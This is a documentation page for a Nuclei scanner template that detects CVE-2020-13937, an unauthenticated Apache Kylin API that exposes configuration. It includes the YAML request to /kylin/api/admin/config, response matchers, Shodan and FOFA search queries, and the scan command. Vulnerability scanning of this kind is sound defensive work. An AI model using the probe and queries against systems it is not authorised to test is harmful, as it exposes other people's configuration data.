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Apache Kylin - Exposed Configuration File

ID: CVE-2020-13937

Severity: medium

Author: pikpikcu

Tags: cve,cve2020,apache

Description

Section titled “Description”

Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin’s configuration information without authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2020-13937


info:
  name: Apache Kylin - Exposed Configuration File
  author: pikpikcu
  severity: medium
  description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1,  3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication.
  impact: |
    An attacker can gain sensitive information from the exposed configuration file, potentially leading to further attacks.
  remediation: |
    Secure the configuration file by restricting access permissions and implementing proper access controls.
  reference:
    - https://kylin.apache.org/docs/release_notes.html
    - https://s.tencent.com/research/bsafe/1156.html
    - https://lists.apache.org/thread.html/rc592e0dcee5a2615f1d9522af30ef1822c1f863d5e05e7da9d1e57f4%40%3Cuser.kylin.apache.org%3E
    - https://github.com/Al1ex/CVE-2020-13937
    - https://github.com/HimmelAward/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-13937
    cwe-id: CWE-922
    epss-score: 0.97421
    epss-percentile: 0.99929
    cpe: cpe:2.3:a:apache:kylin:2.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: kylin
    shodan-query: http.favicon.hash:-186961397
    fofa-query: icon_hash=-186961397
  tags: cve,cve2020,apache


http:
  - method: GET
    path:
      - "{{BaseURL}}/kylin/api/admin/config"


    headers:
      Content-Type: "application/json"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: word
        part: body
        words:
          - config
          - kylin.metadata.url
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f05c0a609723b0e932d42cc18af2767ff3d8ce6f3828fcba47398d7daad9cc60022070f7f27a06f4959171746ff9f3f0a5e3c6320b140fa483ea405490192eb91e38:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-13937.yaml"

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